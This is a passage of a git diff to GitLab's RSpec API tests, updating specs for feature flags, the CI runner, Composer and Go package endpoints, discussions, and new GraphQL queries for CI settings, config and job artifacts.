it 'returns validation errors' do
diff --git a/spec/requests/api/api_guard/admin_mode_middleware_spec.rb b/spec/requests/api/api_guard/admin_mode_middleware_spec.rb
index 4b477f829a7..63bcec4b52a 100644
--- a/spec/requests/api/api_guard/admin_mode_middleware_spec.rb
+++ b/spec/requests/api/api_guard/admin_mode_middleware_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe API::APIGuard::AdminModeMiddleware, :do_not_mock_admin_mode, :request_store do
+RSpec.describe API::APIGuard::AdminModeMiddleware, :request_store do
let(:user) { create(:admin) }
it 'is loaded' do
diff --git a/spec/requests/api/broadcast_messages_spec.rb b/spec/requests/api/broadcast_messages_spec.rb
index b5b6ce106e5..b023ec398a2 100644
--- a/spec/requests/api/broadcast_messages_spec.rb
+++ b/spec/requests/api/broadcast_messages_spec.rb
@@ -112,7 +112,7 @@ RSpec.describe API::BroadcastMessages do
expect(response).to have_gitlab_http_status(:bad_request)
end
- it 'accepts an active dismissable value ' do
+ it 'accepts an active dismissable value' do
attrs = { message: 'new message', dismissable: true }
post api('/broadcast_messages', admin), params: attrs
@@ -197,7 +197,7 @@ RSpec.describe API::BroadcastMessages do
expect(response).to have_gitlab_http_status(:bad_request)
end
- it 'accepts a new dismissable value ' do
+ it 'accepts a new dismissable value' do
attrs = { message: 'new message', dismissable: true }
put api("/broadcast_messages/#{message.id}", admin), params: attrs
diff --git a/spec/requests/api/ci/runner/jobs_artifacts_spec.rb b/spec/requests/api/ci/runner/jobs_artifacts_spec.rb
index 71be0c30f5a..4d8da50f8f0 100644
--- a/spec/requests/api/ci/runner/jobs_artifacts_spec.rb
+++ b/spec/requests/api/ci/runner/jobs_artifacts_spec.rb
@@ -242,7 +242,7 @@ RSpec.describe API::Ci::Runner, :clean_gitlab_redis_shared_state do
}
expect { authorize_artifacts_with_token_in_headers(artifact_type: :lsif) }
- .to change { Gitlab::UsageDataCounters::HLLRedisCounter.unique_events(tracking_params) }
+ .to change { Gitlab::UsageDataCounters::HLLRedisCounter.unique_events(**tracking_params) }
.by(1)
end
end
diff --git a/spec/requests/api/ci/runner/jobs_put_spec.rb b/spec/requests/api/ci/runner/jobs_put_spec.rb
index cbefaa2c321..e9d793d5a22 100644
--- a/spec/requests/api/ci/runner/jobs_put_spec.rb
+++ b/spec/requests/api/ci/runner/jobs_put_spec.rb
@@ -61,6 +61,23 @@ RSpec.describe API::Ci::Runner, :clean_gitlab_redis_shared_state do
expect(response.header).not_to have_key('X-GitLab-Trace-Update-Interval')
end
+ context 'when runner sends an unrecognized field in a payload' do
+ ##
+ # This test case is here to ensure that the API used to communicate
+ # runner with GitLab can evolve.
+ #
+ # In case of adding new features on the Runner side we do not want
+ # GitLab-side to reject requests containing unrecognizable fields in
+ # a payload, because runners can be updated before a new version of
+ # GitLab is installed.
+ #
+ it 'ignores unrecognized fields' do
+ update_job(state: 'success', 'unknown': 'something')
+
+ expect(job.reload).to be_success
+ end
+ end
+
context 'when failure_reason is script_failure' do
before do
update_job(state: 'failed', failure_reason: 'script_failure')
diff --git a/spec/requests/api/ci/runner/jobs_trace_spec.rb b/spec/requests/api/ci/runner/jobs_trace_spec.rb
index 1980c1a9f51..5b7a33d23d8 100644
--- a/spec/requests/api/ci/runner/jobs_trace_spec.rb
+++ b/spec/requests/api/ci/runner/jobs_trace_spec.rb
@@ -135,7 +135,7 @@ RSpec.describe API::Ci::Runner, :clean_gitlab_redis_shared_state do
patch_the_trace
end
- it 'returns Forbidden ' do
+ it 'returns Forbidden' do
expect(response).to have_gitlab_http_status(:forbidden)
end
end
diff --git a/spec/requests/api/composer_packages_spec.rb b/spec/requests/api/composer_packages_spec.rb
index ef4682466d5..06d4a2c6017 100644
--- a/spec/requests/api/composer_packages_spec.rb
+++ b/spec/requests/api/composer_packages_spec.rb
@@ -167,7 +167,8 @@ RSpec.describe API::ComposerPackages do
describe 'GET /api/v4/group/:id/-/packages/composer/*package_name.json' do
let(:package_name) { 'foobar' }
- let(:url) { "/group/#{group.id}/-/packages/composer/#{package_name}.json" }
+ let(:sha) { '$1234' }
+ let(:url) { "/group/#{group.id}/-/packages/composer/#{package_name}#{sha}.json" }
subject { get api(url), headers: headers }
@@ -206,6 +207,16 @@ RSpec.describe API::ComposerPackages do
it_behaves_like params[:shared_examples_name], params[:user_role], params[:expected_status], params[:member]
end
end
+
+ context 'without a sha' do
+ let(:sha) { '' }
+
+ include_context 'Composer api group access', 'PRIVATE', :developer, true do
+ include_context 'Composer user type', :developer, true do
+ it_behaves_like 'process Composer api request', :developer, :not_found, true
+ end
+ end
+ end
end
it_behaves_like 'rejects Composer access with unknown group id'
diff --git a/spec/requests/api/discussions_spec.rb b/spec/requests/api/discussions_spec.rb
index 720ea429c2c..bdfc1589c9e 100644
--- a/spec/requests/api/discussions_spec.rb
+++ b/spec/requests/api/discussions_spec.rb
@@ -61,6 +61,37 @@ RSpec.describe API::Discussions do
expect(response).to have_gitlab_http_status(:bad_request)
end
end
+
+ context "when a commit parameter is given" do
+ it "creates the discussion on that commit within the merge request" do
+ # SHAs of "feature" and its parent in spec/support/gitlab-git-test.git
+ mr_commit = '0b4bc9a49b562e85de7cc9e834518ea6828729b9'
+ parent_commit = 'ae73cb07c9eeaf35924a10f713b364d32b2dd34f'
+ file = "files/ruby/feature.rb"
+ line_range = {
+ "start_line_code" => Gitlab::Git.diff_line_code(file, 1, 1),
+ "end_line_code" => Gitlab::Git.diff_line_code(file, 1, 1),
+ "start_line_type" => "text",
+ "end_line_type" => "text"
+ }
+ position = build(
+ :text_diff_position,
+ :added,
+ file: file,
+ new_line: 1,
+ line_range: line_range,
+ base_sha: parent_commit,
+ head_sha: mr_commit,
+ start_sha: parent_commit
+ )
+
+ post api("/projects/#{project.id}/merge_requests/#{noteable['iid']}/discussions", user),
+ params: { body: 'MR discussion on commit', position: position.to_h, commit_id: mr_commit }
+
+ expect(response).to have_gitlab_http_status(:created)
+ expect(json_response['notes'].first['commit_id']).to eq(mr_commit)
+ end
+ end
end
context 'when noteable is a Commit' do
diff --git a/spec/requests/api/feature_flags_spec.rb b/spec/requests/api/feature_flags_spec.rb
index 90d4a7b8b21..dd12648f4dd 100644
--- a/spec/requests/api/feature_flags_spec.rb
+++ b/spec/requests/api/feature_flags_spec.rb
@@ -65,26 +65,6 @@ RSpec.describe API::FeatureFlags do
expect(json_response.map { |f| f['version'] }).to eq(%w[legacy_flag legacy_flag])
end
- it 'does not return the legacy flag version when the feature flag is disabled' do
- stub_feature_flags(feature_flags_new_version: false)
-
- subject
-
- expect(response).to have_gitlab_http_status(:ok)
- expect(response).to match_response_schema('public_api/v4/feature_flags')
- expect(json_response.select { |f| f.key?('version') }).to eq([])
- end
-
- it 'does not return strategies if the new flag is disabled' do
- stub_feature_flags(feature_flags_new_version: false)
-
- subject
-
- expect(response).to have_gitlab_http_status(:ok)
- expect(response).to match_response_schema('public_api/v4/feature_flags')
- expect(json_response.select { |f| f.key?('strategies') }).to eq([])
- end
-
it 'does not have N+1 problem' do
control_count = ActiveRecord::QueryRecorder.new { subject }
@@ -134,16 +114,6 @@ RSpec.describe API::FeatureFlags do
}]
}])
end
-
- it 'does not return a version 2 flag when the feature flag is disabled' do
- stub_feature_flags(feature_flags_new_version: false)
-
- subject
-
- expect(response).to have_gitlab_http_status(:ok)
- expect(response).to match_response_schema('public_api/v4/feature_flags')
- expect(json_response).to eq([])
- end
end
context 'with version 1 and 2 feature flags' do
@@ -159,20 +129,6 @@ RSpec.describe API::FeatureFlags do
expect(response).to match_response_schema('public_api/v4/feature_flags')
expect(json_response.map { |f| f['name'] }).to eq(%w[legacy_flag new_version_flag])
end
-
- it 'returns only version 1 flags when the feature flag is disabled' do
- stub_feature_flags(feature_flags_new_version: false)
- create(:operations_feature_flag, project: project, name: 'legacy_flag')
- feature_flag = create(:operations_feature_flag, :new_version_flag, project: project, name: 'new_version_flag')
- strategy = create(:operations_strategy, feature_flag: feature_flag, name: 'default', parameters: {})
- create(:operations_scope, strategy: strategy, environment_scope: 'production')
-
- subject
-
- expect(response).to have_gitlab_http_status(:ok)
- expect(response).to match_response_schema('public_api/v4/feature_flags')
- expect(json_response.map { |f| f['name'] }).to eq(['legacy_flag'])
- end
end
end
@@ -224,18 +180,6 @@ RSpec.describe API::FeatureFlags do
}]
})
end
-
- it 'returns a 404 when the feature is disabled' do
- stub_feature_flags(feature_flags_new_version: false)
- feature_flag = create(:operations_feature_flag, :new_version_flag, project: project, name: 'feature1')
- strategy = create(:operations_strategy, feature_flag: feature_flag, name: 'default', parameters: {})
- create(:operations_scope, strategy: strategy, environment_scope: 'production')
-
- get api("/projects/#{project.id}/feature_flags/feature1", user)
-
- expect(response).to have_gitlab_http_status(:not_found)
- expect(json_response).to eq({ 'message' => '404 Not found' })
- end
end
end
@@ -290,16 +234,6 @@ RSpec.describe API::FeatureFlags do
expect(json_response['version']).to eq('legacy_flag')
end
- it 'does not return version when new version flags are disabled' do
- stub_feature_flags(feature_flags_new_version: false)
-
- subject
-
- expect(response).to have_gitlab_http_status(:created)
- expect(response).to match_response_schema('public_api/v4/feature_flag')
- expect(json_response.key?('version')).to eq(false)
- end
-
context 'with active set to false in the params for a legacy flag' do
let(:params) do
{
@@ -505,20 +439,6 @@ RSpec.describe API::FeatureFlags do
environment_scope: 'staging'
}])
end
-
- it 'returns a 422 when the feature flag is disabled' do
- stub_feature_flags(feature_flags_new_version: false)
- params = {
- name: 'new-feature',
- version: 'new_version_flag'
- }
-
- post api("/projects/#{project.id}/feature_flags", user), params: params
-
- expect(response).to have_gitlab_http_status(:unprocessable_entity)
- expect(json_response).to eq({ 'message' => 'Version 2 flags are not enabled for this project' })
- expect(project.operations_feature_flags.count).to eq(0)
- end
end
context 'when given invalid parameters' do
@@ -744,16 +664,6 @@ RSpec.describe API::FeatureFlags do
name: 'feature1', description: 'old description')
end
- it 'returns a 404 if the feature is disabled' do
- stub_feature_flags(feature_flags_new_version: false)
- params = { description: 'new description' }
-
- put api("/projects/#{project.id}/feature_flags/feature1", user), params: params
-
- expect(response).to have_gitlab_http_status(:not_found)
- expect(feature_flag.reload.description).to eq('old description')
- end
-
it 'returns a 422' do
params = { description: 'new description' }
@@ -771,16 +681,6 @@ RSpec.describe API::FeatureFlags do
name: 'feature1', description: 'old description')
end
- it 'returns a 404 if the feature is disabled' do
- stub_feature_flags(feature_flags_new_version: false)
- params = { description: 'new description' }
-
- put api("/projects/#{project.id}/feature_flags/feature1", user), params: params
-
- expect(response).to have_gitlab_http_status(:not_found)
- expect(feature_flag.reload.description).to eq('old description')
- end
-
it 'returns a 404 if the feature flag does not exist' do
params = { description: 'new description' }
@@ -1100,15 +1000,6 @@ RSpec.describe API::FeatureFlags do
expect(json_response['version']).to eq('legacy_flag')
end
- it 'does not return version when new version flags are disabled' do
- stub_feature_flags(feature_flags_new_version: false)
-
- subject
-
- expect(response).to have_gitlab_http_status(:ok)
- expect(json_response.key?('version')).to eq(false)
- end
-
context 'with a version 2 feature flag' do
let!(:feature_flag) { create(:operations_feature_flag, :new_version_flag, project: project) }
@@ -1117,14 +1008,6 @@ RSpec.describe API::FeatureFlags do
expect(response).to have_gitlab_http_status(:ok)
end
-
- it 'returns a 404 if the feature is disabled' do
- stub_feature_flags(feature_flags_new_version: false)
-
- expect { subject }.not_to change { Operations::FeatureFlag.count }
-
- expect(response).to have_gitlab_http_status(:not_found)
- end
end
end
end
diff --git a/spec/requests/api/features_spec.rb b/spec/requests/api/features_spec.rb
index 3f443b4f92b..0e163ec2154 100644
--- a/spec/requests/api/features_spec.rb
+++ b/spec/requests/api/features_spec.rb
@@ -6,6 +6,18 @@ RSpec.describe API::Features, stub_feature_flags: false do
let_it_be(:user) { create(:user) }
let_it_be(:admin) { create(:admin) }
+ # Find any `development` feature flag name
+ let(:known_feature_flag) do
+ Feature::Definition.definitions
+ .values.find(&:development?)
+ end
+
+ let(:known_feature_flag_definition_hash) do
+ a_hash_including(
+ 'type' => 'development'
+ )
+ end
+
before do
Feature.reset
Flipper.unregister_groups
@@ -22,12 +34,14 @@ RSpec.describe API::Features, stub_feature_flags: false do
{
'name' => 'feature_1',
'state' => 'on',
- 'gates' => [{ 'key' => 'boolean', 'value' => true }]
+ 'gates' => [{ 'key' => 'boolean', 'value' => true }],
+ 'definition' => nil
},
{
'name' => 'feature_2',
'state' => 'off',
- 'gates' => [{ 'key' => 'boolean', 'value' => false }]
+ 'gates' => [{ 'key' => 'boolean', 'value' => false }],
+ 'definition' => nil
},
{
'name' => 'feature_3',
@@ -35,7 +49,14 @@ RSpec.describe API::Features, stub_feature_flags: false do
'gates' => [
{ 'key' => 'boolean', 'value' => false },
{ 'key' => 'groups', 'value' => ['perf_team'] }
- ]
+ ],
+ 'definition' => nil
+ },
+ {
+ 'name' => known_feature_flag.name,
+ 'state' => 'on',
+ 'gates' => [{ 'key' => 'boolean', 'value' => true }],
+ 'definition' => known_feature_flag_definition_hash
}
]
end
@@ -44,6 +65,7 @@ RSpec.describe API::Features, stub_feature_flags: false do
Feature.enable('feature_1')
Feature.disable('feature_2')
Feature.enable('feature_3', Feature.group(:perf_team))
+ Feature.enable(known_feature_flag.name)
end
it 'returns a 401 for anonymous users' do
@@ -67,7 +89,7 @@ RSpec.describe API::Features, stub_feature_flags: false do
end
describe 'POST /feature' do
- let(:feature_name) { 'my_feature' }
+ let(:feature_name) { known_feature_flag.name }
context 'when the feature does not exist' do
it 'returns a 401 for anonymous users' do
@@ -87,43 +109,55 @@ RSpec.describe API::Features, stub_feature_flags: false do
post api("/features/#{feature_name}", admin), params: { value: 'true' }
expect(response).to have_gitlab_http_status(:created)
- expect(json_response).to eq(
- 'name' => 'my_feature',
+ expect(json_response).to match(
+ 'name' => feature_name,
'state' => 'on',
- 'gates' => [{ 'key' => 'boolean', 'value' => true }])
+ 'gates' => [{ 'key' => 'boolean', 'value' => true }],
+ 'definition' => known_feature_flag_definition_hash
+ )
+ end
+
+ it 'logs the event' do
+ expect(Feature.logger).to receive(:info).once
+
+ post api("/features/#{feature_name}", admin), params: { value: 'true' }
end
it 'creates an enabled feature for the given Flipper group when passed feature_group=perf_team' do
post api("/features/#{feature_name}", admin), params: { value: 'true', feature_group: 'perf_team' }
expect(response).to have_gitlab_http_status(:created)
- expect(json_response).to eq(
- 'name' => 'my_feature',
+ expect(json_response).to match(
+ 'name' => feature_name,
'state' => 'conditional',
'gates' => [
{ 'key' => 'boolean', 'value' => false },
{ 'key' => 'groups', 'value' => ['perf_team'] }
- ])
+ ],
+ 'definition' => known_feature_flag_definition_hash
+ )
end
it 'creates an enabled feature for the given user when passed user=username' do
post api("/features/#{feature_name}", admin), params: { value: 'true', user: user.username }
expect(response).to have_gitlab_http_status(:created)
- expect(json_response).to eq(
- 'name' => 'my_feature',
+ expect(json_response).to match(
+ 'name' => feature_name,
'state' => 'conditional',
'gates' => [
{ 'key' => 'boolean', 'value' => false },
{ 'key' => 'actors', 'value' => ["User:#{user.id}"] }
- ])
+ ],
+ 'definition' => known_feature_flag_definition_hash
+ )
end
it 'creates an enabled feature for the given user and feature group when passed user=username and feature_group=perf_team' do
post api("/features/#{feature_name}", admin), params: { value: 'true', user: user.username, feature_group: 'perf_team' }
expect(response).to have_gitlab_http_status(:created)
- expect(json_response['name']).to eq('my_feature')
+ expect(json_response['name']).to eq(feature_name)
expect(json_response['state']).to eq('conditional')
expect(json_response['gates']).to contain_exactly(
{ 'key' => 'boolean', 'value' => false },
@@ -141,13 +175,15 @@ RSpec.describe API::Features, stub_feature_flags: false do
post api("/features/#{feature_name}", admin), params: { value: 'true', project: project.full_path }
expect(response).to have_gitlab_http_status(:created)
- expect(json_response).to eq(
- 'name' => 'my_feature',
+ expect(json_response).to match(
+ 'name' => feature_name,
'state' => 'conditional',
'gates' => [
{ 'key' => 'boolean', 'value' => false },
{ 'key' => 'actors', 'value' => ["Project:#{project.id}"] }
- ])
+ ],
+ 'definition' => known_feature_flag_definition_hash
+ )
end
end
@@ -156,12 +192,13 @@ RSpec.describe API::Features, stub_feature_flags: false do
post api("/features/#{feature_name}", admin), params: { value: 'true', project: 'mep/to/the/mep/mep' }
expect(response).to have_gitlab_http_status(:created)
- expect(json_response).to eq(
- "name" => "my_feature",
+ expect(json_response).to match(
+ "name" => feature_name,
"state" => "off",
"gates" => [
{ "key" => "boolean", "value" => false }
- ]
+ ],
+ 'definition' => known_feature_flag_definition_hash
)
end
end
@@ -175,13 +212,15 @@ RSpec.describe API::Features, stub_feature_flags: false do
post api("/features/#{feature_name}", admin), params: { value: 'true', group: group.full_path }
expect(response).to have_gitlab_http_status(:created)
- expect(json_response).to eq(
- 'name' => 'my_feature',
+ expect(json_response).to match(
+ 'name' => feature_name,
'state' => 'conditional',
'gates' => [
{ 'key' => 'boolean', 'value' => false },
{ 'key' => 'actors', 'value' => ["Group:#{group.id}"] }
- ])
+ ],
+ 'definition' => known_feature_flag_definition_hash
+ )
end
end
@@ -190,12 +229,13 @@ RSpec.describe API::Features, stub_feature_flags: false do
post api("/features/#{feature_name}", admin), params: { value: 'true', group: 'not/a/group' }
expect(response).to have_gitlab_http_status(:created)
- expect(json_response).to eq(
- "name" => "my_feature",
+ expect(json_response).to match(
+ "name" => feature_name,
"state" => "off",
"gates" => [
{ "key" => "boolean", "value" => false }
- ]
+ ],
+ 'definition' => known_feature_flag_definition_hash
)
end
end
@@ -205,26 +245,30 @@ RSpec.describe API::Features, stub_feature_flags: false do
post api("/features/#{feature_name}", admin), params: { value: '50' }
expect(response).to have_gitlab_http_status(:created)
- expect(json_response).to eq(
- 'name' => 'my_feature',
+ expect(json_response).to match(
+ 'name' => feature_name,
'state' => 'conditional',
'gates' => [
{ 'key' => 'boolean', 'value' => false },
{ 'key' => 'percentage_of_time', 'value' => 50 }
- ])
+ ],
+ 'definition' => known_feature_flag_definition_hash
+ )
end
it 'creates a feature with the given percentage of actors if passed an integer' do
post api("/features/#{feature_name}", admin), params: { value: '50', key: 'percentage_of_actors' }
expect(response).to have_gitlab_http_status(:created)
- expect(json_response).to eq(
- 'name' => 'my_feature',
+ expect(json_response).to match(
+ 'name' => feature_name,
'state' => 'conditional',
'gates' => [
{ 'key' => 'boolean', 'value' => false },
{ 'key' => 'percentage_of_actors', 'value' => 50 }
- ])
+ ],
+ 'definition' => known_feature_flag_definition_hash
+ )
end
end
@@ -238,36 +282,42 @@ RSpec.describe API::Features, stub_feature_flags: false do
post api("/features/#{feature_name}", admin), params: { value: 'true' }
expect(response).to have_gitlab_http_status(:created)
- expect(json_response).to eq(
- 'name' => 'my_feature',
+ expect(json_response).to match(
+ 'name' => feature_name,
'state' => 'on',
- 'gates' => [{ 'key' => 'boolean', 'value' => true }])
+ 'gates' => [{ 'key' => 'boolean', 'value' => true }],
+ 'definition' => known_feature_flag_definition_hash
+ )
end
it 'enables the feature for the given Flipper group when passed feature_group=perf_team' do
post api("/features/#{feature_name}", admin), params: { value: 'true', feature_group: 'perf_team' }
expect(response).to have_gitlab_http_status(:created)
- expect(json_response).to eq(
- 'name' => 'my_feature',
+ expect(json_response).to match(
+ 'name' => feature_name,
'state' => 'conditional',
'gates' => [
{ 'key' => 'boolean', 'value' => false },
{ 'key' => 'groups', 'value' => ['perf_team'] }
- ])
+ ],
+ 'definition' => known_feature_flag_definition_hash
+ )
end
it 'enables the feature for the given user when passed user=username' do
post api("/features/#{feature_name}", admin), params: { value: 'true', user: user.username }
expect(response).to have_gitlab_http_status(:created)
- expect(json_response).to eq(
- 'name' => 'my_feature',
+ expect(json_response).to match(
+ 'name' => feature_name,
'state' => 'conditional',
'gates' => [
{ 'key' => 'boolean', 'value' => false },
{ 'key' => 'actors', 'value' => ["User:#{user.id}"] }
- ])
+ ],
+ 'definition' => known_feature_flag_definition_hash
+ )
end
end
@@ -279,10 +329,12 @@ RSpec.describe API::Features, stub_feature_flags: false do
post api("/features/#{feature_name}", admin), params: { value: 'false' }
expect(response).to have_gitlab_http_status(:created)
- expect(json_response).to eq(
- 'name' => 'my_feature',
+ expect(json_response).to match(
+ 'name' => feature_name,
'state' => 'off',
- 'gates' => [{ 'key' => 'boolean', 'value' => false }])
+ 'gates' => [{ 'key' => 'boolean', 'value' => false }],
+ 'definition' => known_feature_flag_definition_hash
+ )
end
it 'disables the feature for the given Flipper group when passed feature_group=perf_team' do
@@ -292,10 +344,12 @@ RSpec.describe API::Features, stub_feature_flags: false do
post api("/features/#{feature_name}", admin), params: { value: 'false', feature_group: 'perf_team' }
expect(response).to have_gitlab_http_status(:created)
- expect(json_response).to eq(
- 'name' => 'my_feature',
+ expect(json_response).to match(
+ 'name' => feature_name,
'state' => 'off',
- 'gates' => [{ 'key' => 'boolean', 'value' => false }])
+ 'gates' => [{ 'key' => 'boolean', 'value' => false }],
+ 'definition' => known_feature_flag_definition_hash
+ )
end
it 'disables the feature for the given user when passed user=username' do
@@ -305,10 +359,12 @@ RSpec.describe API::Features, stub_feature_flags: false do
post api("/features/#{feature_name}", admin), params: { value: 'false', user: user.username }
expect(response).to have_gitlab_http_status(:created)
- expect(json_response).to eq(
- 'name' => 'my_feature',
+ expect(json_response).to match(
+ 'name' => feature_name,
'state' => 'off',
- 'gates' => [{ 'key' => 'boolean', 'value' => false }])
+ 'gates' => [{ 'key' => 'boolean', 'value' => false }],
+ 'definition' => known_feature_flag_definition_hash
+ )
end
end
@@ -321,13 +377,15 @@ RSpec.describe API::Features, stub_feature_flags: false do
post api("/features/#{feature_name}", admin), params: { value: '30' }
expect(response).to have_gitlab_http_status(:created)
- expect(json_response).to eq(
- 'name' => 'my_feature',
+ expect(json_response).to match(
+ 'name' => feature_name,
'state' => 'conditional',
'gates' => [
{ 'key' => 'boolean', 'value' => false },
{ 'key' => 'percentage_of_time', 'value' => 30 }
- ])
+ ],
+ 'definition' => known_feature_flag_definition_hash
+ )
end
end
@@ -340,13 +398,15 @@ RSpec.describe API::Features, stub_feature_flags: false do
post api("/features/#{feature_name}", admin), params: { value: '74', key: 'percentage_of_actors' }
expect(response).to have_gitlab_http_status(:created)
- expect(json_response).to eq(
- 'name' => 'my_feature',
+ expect(json_response).to match(
+ 'name' => feature_name,
'state' => 'conditional',
'gates' => [
{ 'key' => 'boolean', 'value' => false },
{ 'key' => 'percentage_of_actors', 'value' => 74 }
- ])
+ ],
+ 'definition' => known_feature_flag_definition_hash
+ )
end
end
end
@@ -390,6 +450,12 @@ RSpec.describe API::Features, stub_feature_flags: false do
expect(response).to have_gitlab_http_status(:no_content)
end
+
+ it 'logs the event' do
+ expect(Feature.logger).to receive(:info).once
+
+ delete api("/features/#{feature_name}", admin)
+ end
end
end
end
diff --git a/spec/requests/api/go_proxy_spec.rb b/spec/requests/api/go_proxy_spec.rb
index 9d422ebbce2..d45e24241b2 100644
--- a/spec/requests/api/go_proxy_spec.rb
+++ b/spec/requests/api/go_proxy_spec.rb
@@ -428,7 +428,7 @@ RSpec.describe API::GoProxy do
context 'with a non-existent project' do
def get_resource(user = nil, **params)
- get api("/projects/not%2fa%2fproject/packages/go/#{base}/@v/list", user, params)
+ get api("/projects/not%2fa%2fproject/packages/go/#{base}/@v/list", user, **params)
end
describe 'GET /projects/:id/packages/go/*module_name/@v/list' do
@@ -465,7 +465,7 @@ RSpec.describe API::GoProxy do
end
def get_resource(user = nil, headers: {}, **params)
- get api("/projects/#{project.id}/packages/go/#{module_name}/@v/#{resource}", user, params), headers: headers
+ get api("/projects/#{project.id}/packages/go/#{module_name}/@v/#{resource}", user, **params), headers: headers
end
def fmt_pseudo_version(prefix, commit)
diff --git a/spec/requests/api/graphql/boards/board_lists_query_spec.rb b/spec/requests/api/graphql/boards/board_lists_query_spec.rb
index 5d5b963fed5..cd94ce91071 100644
--- a/spec/requests/api/graphql/boards/board_lists_query_spec.rb
+++ b/spec/requests/api/graphql/boards/board_lists_query_spec.rb
@@ -66,28 +66,22 @@ RSpec.describe 'get board lists' do
describe 'sorting and pagination' do
let_it_be(:current_user) { user }
- let(:data_path) { [board_parent_type, :boards, :edges, 0, :node, :lists] }
+ let(:data_path) { [board_parent_type, :boards, :nodes, 0, :lists] }
- def pagination_query(params, page_info)
+ def pagination_query(params)
graphql_query_for(
board_parent_type,
{ 'fullPath' => board_parent.full_path },
<<~BOARDS
boards(first: 1) {
- edges {
- node {
- #{query_graphql_field('lists', params, "#{page_info} edges { node { id } }")}
- }
+ nodes {
+ #{query_graphql_field(:lists, params, "#{page_info} nodes { id }")}
}
}
BOARDS
)
end
- def pagination_results_data(data)
- data.map { |list| list.dig('node', 'id') }
- end
-
context 'when using default sorting' do
let!(:label_list) { create(:list, board: board, label: label, position: 10) }
let!(:label_list2) { create(:list, board: board, label: label2, position: 2) }
@@ -99,7 +93,7 @@ RSpec.describe 'get board lists' do
it_behaves_like 'sorted paginated query' do
let(:sort_param) { }
let(:first_param) { 2 }
- let(:expected_results) { lists.map { |list| list.to_global_id.to_s } }
+ let(:expected_results) { lists.map { |list| global_id_of(list) } }
end
end
end
diff --git a/spec/requests/api/graphql/ci/ci_cd_setting_spec.rb b/spec/requests/api/graphql/ci/ci_cd_setting_spec.rb
new file mode 100644
index 00000000000..e086ce02942
--- /dev/null
+++ b/spec/requests/api/graphql/ci/ci_cd_setting_spec.rb
@@ -0,0 +1,50 @@
+# frozen_string_literal: true
+require 'spec_helper'
+
+RSpec.describe 'Getting Ci Cd Setting' do
+ include GraphqlHelpers
+
+ let_it_be_with_reload(:project) { create(:project, :repository) }
+ let_it_be(:current_user) { project.owner }
+
+ let(:fields) do
+ <<~QUERY
+ #{all_graphql_fields_for('ProjectCiCdSetting')}
+ QUERY
+ end
+
+ let(:query) do
+ graphql_query_for(
+ 'project',
+ { 'fullPath' => project.full_path },
+ query_graphql_field('ciCdSettings', {}, fields)
+ )
+ end
+
+ let(:settings_data) { graphql_data['project']['ciCdSettings'] }
+
+ context 'without permissions' do
+ let(:user) { create(:user) }
+
+ before do
+ project.add_reporter(user)
+ post_graphql(query, current_user: user)
+ end
+
+ it_behaves_like 'a working graphql query'
+
+ specify { expect(settings_data).to be nil }
+ end
+
+ context 'with project permissions' do
+ before do
+ post_graphql(query, current_user: current_user)
+ end
+
+ it_behaves_like 'a working graphql query'
+
+ specify { expect(settings_data['mergePipelinesEnabled']).to eql project.ci_cd_settings.merge_pipelines_enabled? }
+ specify { expect(settings_data['mergeTrainsEnabled']).to eql project.ci_cd_settings.merge_trains_enabled? }
+ specify { expect(settings_data['project']['id']).to eql "gid://gitlab/Project/#{project.id}" }
+ end
+end
diff --git a/spec/requests/api/graphql/ci/config_spec.rb b/spec/requests/api/graphql/ci/config_spec.rb
new file mode 100644
index 00000000000..b682470e0a1
--- /dev/null
+++ b/spec/requests/api/graphql/ci/config_spec.rb
@@ -0,0 +1,91 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe 'Query.ciConfig' do
+ include GraphqlHelpers
+
+ subject(:post_graphql_query) { post_graphql(query, current_user: user) }
+
+ let(:user) { create(:user) }
+
+ let_it_be(:content) do
+ File.read(Rails.root.join('spec/support/gitlab_stubs/gitlab_ci_includes.yml'))
+ end
+
+ let(:query) do
+ %(
+ query {
+ ciConfig(content: "#{content}") {
+ status
+ errors
+ stages {
+ name
+ groups {
+ name
+ size
+ jobs {
+ name
+ groupName
+ stage
+ needs {
+ name
+ }
+ }
+ }
+ }
+ }
+ }
+ )
+ end
+
+ before do
+ post_graphql_query
+ end
+
+ it_behaves_like 'a working graphql query'
+
+ it 'returns the correct structure' do
+ expect(graphql_data['ciConfig']).to eq(
+ "status" => "VALID",
+ "errors" => [],
+ "stages" =>
+ [
+ {
+ "name" => "build",
+ "groups" =>
+ [
+ {
+ "name" => "rspec",
+ "size" => 2,
+ "jobs" =>
+ [
+ { "name" => "rspec 0 1", "groupName" => "rspec", "stage" => "build", "needs" => [] },
+ { "name" => "rspec 0 2", "groupName" => "rspec", "stage" => "build", "needs" => [] }
+ ]
+ },
+ {
+ "name" => "spinach", "size" => 1, "jobs" =>
+ [
+ { "name" => "spinach", "groupName" => "spinach", "stage" => "build", "needs" => [] }
+ ]
+ }
+ ]
+ },
+ {
+ "name" => "test",
+ "groups" =>
+ [
+ {
+ "name" => "docker",
+ "size" => 1,
+ "jobs" => [
+ { "name" => "docker", "groupName" => "docker", "stage" => "test", "needs" => [{ "name" => "spinach" }, { "name" => "rspec 0 1" }] }
+ ]
+ }
+ ]
+ }
+ ]
+ )
+ end
+end
diff --git a/spec/requests/api/graphql/ci/job_artifacts_spec.rb b/spec/requests/api/graphql/ci/job_artifacts_spec.rb
new file mode 100644
index 00000000000..df6e398fbe5
--- /dev/null
+++ b/spec/requests/api/graphql/ci/job_artifacts_spec.rb
@@ -0,0 +1,52 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe 'Query.project(fullPath).pipelines.jobs.artifacts' do
+ include GraphqlHelpers
+
+ let_it_be(:project) { create(:project, :repository, :public) }
+ let_it_be(:pipeline) { create(:ci_pipeline, project: project) }
+ let_it_be(:user) { create(:user) }
+
+ let_it_be(:query) do
+ %(
+ query {
+ project(fullPath: "#{project.full_path}") {
+ pipelines {
+ nodes {
+ jobs {
+ nodes {
+ artifacts {
+ nodes {
+ downloadPath
+ fileType
+ }
+ }
+ }
+ }
+ }
+ }
+ }
+ }
+ )
+ end
+
+ it 'returns the fields for the artifacts' do
+ job = create(:ci_build, pipeline: pipeline)
+ create(:ci_job_artifact, :junit, job: job)
+
+ post_graphql(query, current_user: user)
+
+ expect(response).to have_gitlab_http_status(:ok)
+
+ pipelines_data = graphql_data.dig('project', 'pipelines', 'nodes')
+ jobs_data = pipelines_data.first.dig('jobs', 'nodes')
+ artifact_data = jobs_data.first.dig('artifacts', 'nodes').first
